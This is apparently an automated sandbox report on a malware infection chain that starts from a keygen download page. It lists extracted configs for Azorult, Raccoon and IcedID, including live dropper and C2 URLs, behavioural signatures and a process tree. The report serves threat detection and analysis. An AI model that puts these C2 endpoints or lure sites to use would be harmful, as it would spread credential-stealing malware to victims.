Resubmissions

10-04-2021 05:28

210410-642g16c6y6 10

09-04-2021 16:57

210409-a3zwd3zjvx 10

09-04-2021 05:30

210409-4qr2p4p1m6 10

Analysis

  • max time kernel
    592s
  • max time network
    599s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    10-04-2021 05:28

General

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://labsclub.com/welcome

Extracted

Family

azorult

C2

http://kvaka.li/1210776429.php

Extracted

Family

raccoon

Botnet

a6bfe7e504db71e25642b830fd9b2c4366cf882a

Attributes
  • url4cnc

    https://telete.in/j90dadarobin

rc4.plain
rc4.plain

Extracted

Family

icedid

Campaign

1925120085

Signatures

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

  • IcedID, BokBot

    IcedID is a banking trojan capable of stealing credentials.

  • PlugX

    PlugX is a RAT (Remote Access Trojan) that has been around since 2008.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • Suspicious use of NtCreateProcessExOtherParentProcess 2 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

  • Blocklisted process makes network request 15 IoCs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 5 IoCs
  • Executes dropped EXE 64 IoCs
  • Checks computer location settings 2 TTPs 8 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 64 IoCs
  • Reads local data of messenger clients 2 TTPs

    Infostealers often target stored data of messaging applications, which can include saved credentials and account information.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses 2FA software files, possible credential harvesting 2 TTPs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 10 IoCs
  • Checks for any installed AV software in registry 1 TTPs 64 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 4 IoCs
  • Drops Chrome extension 1 IoCs
  • Enumerates connected drives 3 TTPs 48 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 6 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Drops file in System32 directory 21 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
  • Suspicious use of SetThreadContext 7 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 33 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 20 IoCs
  • Checks SCSI registry key(s) 3 TTPs 64 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 8 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 8 IoCs
  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Kills process with taskkill 5 IoCs
  • Modifies Internet Explorer settings 1 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 13 IoCs
  • Runs ping.exe 1 TTPs 4 IoCs
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
    1⤵
      PID:68
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s Browser
      1⤵
        PID:2840
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s WpnService
        1⤵
        • Modifies registry class
        PID:2696
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2684
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
        1⤵
          PID:2444
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
          1⤵
            PID:2428
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
            1⤵
              PID:1896
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s SENS
              1⤵
                PID:1436
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s UserManager
                1⤵
                  PID:1240
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s Themes
                  1⤵
                    PID:1160
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                    1⤵
                      PID:1068
                    • c:\windows\system32\svchost.exe
                      c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                      1⤵
                      • Drops file in System32 directory
                      • Drops file in Windows directory
                      PID:856
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" https://keygenit.com/d/30f8668638112r4p2203.html
                      1⤵
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of FindShellTrayWindow
                      • Suspicious use of WriteProcessMemory
                      PID:2632
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xc8,0xcc,0xd0,0xa4,0xd4,0x7ff99ec06e00,0x7ff99ec06e10,0x7ff99ec06e20
                        2⤵
                          PID:1204
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1536 /prefetch:2
                          2⤵
                            PID:3024
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1736 /prefetch:8
                            2⤵
                            • Suspicious behavior: EnumeratesProcesses
                            PID:3668
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2716 /prefetch:1
                            2⤵
                              PID:2852
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2724 /prefetch:1
                              2⤵
                                PID:1996
                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3316 /prefetch:1
                                2⤵
                                  PID:2524
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3464 /prefetch:1
                                  2⤵
                                    PID:2680
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3568 /prefetch:1
                                    2⤵
                                      PID:636
                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3588 /prefetch:1
                                      2⤵
                                        PID:1592
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4088 /prefetch:8
                                        2⤵
                                          PID:2900
                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4172 /prefetch:8
                                          2⤵
                                            PID:4412
                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4516 /prefetch:8
                                            2⤵
                                              PID:4472
                                            • C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe
                                              "C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --force-configure-user-settings
                                              2⤵
                                                PID:4500
                                                • C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe
                                                  "C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0x23c,0x240,0x244,0x218,0x248,0x7ff6cb837740,0x7ff6cb837750,0x7ff6cb837760
                                                  3⤵
                                                    PID:4620
                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4620 /prefetch:8
                                                  2⤵
                                                    PID:4552
                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4452 /prefetch:8
                                                    2⤵
                                                      PID:4608
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4836 /prefetch:8
                                                      2⤵
                                                        PID:4700
                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5124 /prefetch:8
                                                        2⤵
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        PID:4764
                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4800 /prefetch:8
                                                        2⤵
                                                          PID:4804
                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5948 /prefetch:8
                                                          2⤵
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          PID:4888
                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5904 /prefetch:8
                                                          2⤵
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          PID:4980
                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5928 /prefetch:8
                                                          2⤵
                                                            PID:5028
                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5936 /prefetch:8
                                                            2⤵
                                                              PID:5064
                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5952 /prefetch:8
                                                              2⤵
                                                                PID:5100
                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5904 /prefetch:8
                                                                2⤵
                                                                  PID:2380
                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5396 /prefetch:8
                                                                  2⤵
                                                                    PID:4124
                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5500 /prefetch:8
                                                                    2⤵
                                                                      PID:4168
                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5404 /prefetch:8
                                                                      2⤵
                                                                        PID:2244
                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5748 /prefetch:8
                                                                        2⤵
                                                                          PID:4352
                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5972 /prefetch:8
                                                                          2⤵
                                                                            PID:4420
                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5724 /prefetch:8
                                                                            2⤵
                                                                              PID:4456
                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6032 /prefetch:8
                                                                              2⤵
                                                                                PID:2188
                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5788 /prefetch:8
                                                                                2⤵
                                                                                  PID:4512
                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5668 /prefetch:8
                                                                                  2⤵
                                                                                    PID:4540
                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5312 /prefetch:8
                                                                                    2⤵
                                                                                      PID:4600
                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6240 /prefetch:8
                                                                                      2⤵
                                                                                        PID:4544
                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6388 /prefetch:8
                                                                                        2⤵
                                                                                          PID:4676
                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=36 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6496 /prefetch:1
                                                                                          2⤵
                                                                                            PID:4652
                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6372 /prefetch:8
                                                                                            2⤵
                                                                                              PID:4724
                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6772 /prefetch:8
                                                                                              2⤵
                                                                                                PID:4808
                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6924 /prefetch:8
                                                                                                2⤵
                                                                                                  PID:4872
                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7092 /prefetch:8
                                                                                                  2⤵
                                                                                                    PID:4924
                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7100 /prefetch:8
                                                                                                    2⤵
                                                                                                      PID:4812
                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7364 /prefetch:8
                                                                                                      2⤵
                                                                                                        PID:5008
                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7380 /prefetch:8
                                                                                                        2⤵
                                                                                                          PID:5052
                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7360 /prefetch:8
                                                                                                          2⤵
                                                                                                            PID:5080
                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=45 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6284 /prefetch:1
                                                                                                            2⤵
                                                                                                              PID:5104
                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7652 /prefetch:8
                                                                                                              2⤵
                                                                                                                PID:2124
                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7740 /prefetch:8
                                                                                                                2⤵
                                                                                                                  PID:4220
                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5644 /prefetch:8
                                                                                                                  2⤵
                                                                                                                    PID:4268
                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5460 /prefetch:8
                                                                                                                    2⤵
                                                                                                                      PID:4440
                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=50 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7752 /prefetch:1
                                                                                                                      2⤵
                                                                                                                        PID:208
                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5964 /prefetch:8
                                                                                                                        2⤵
                                                                                                                          PID:3872
                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4380 /prefetch:8
                                                                                                                          2⤵
                                                                                                                            PID:4688
                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3892 /prefetch:8
                                                                                                                            2⤵
                                                                                                                              PID:4708
                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3588 /prefetch:8
                                                                                                                              2⤵
                                                                                                                                PID:4828
                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6092 /prefetch:8
                                                                                                                                2⤵
                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                PID:4672
                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1500,17340555450460962465,855416988748441358,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7652 /prefetch:8
                                                                                                                                2⤵
                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                PID:3172
                                                                                                                            • \??\c:\windows\system32\svchost.exe
                                                                                                                              c:\windows\system32\svchost.exe -k netsvcs -s BITS
                                                                                                                              1⤵
                                                                                                                              • Suspicious use of SetThreadContext
                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                              PID:580
                                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                                C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                                                                2⤵
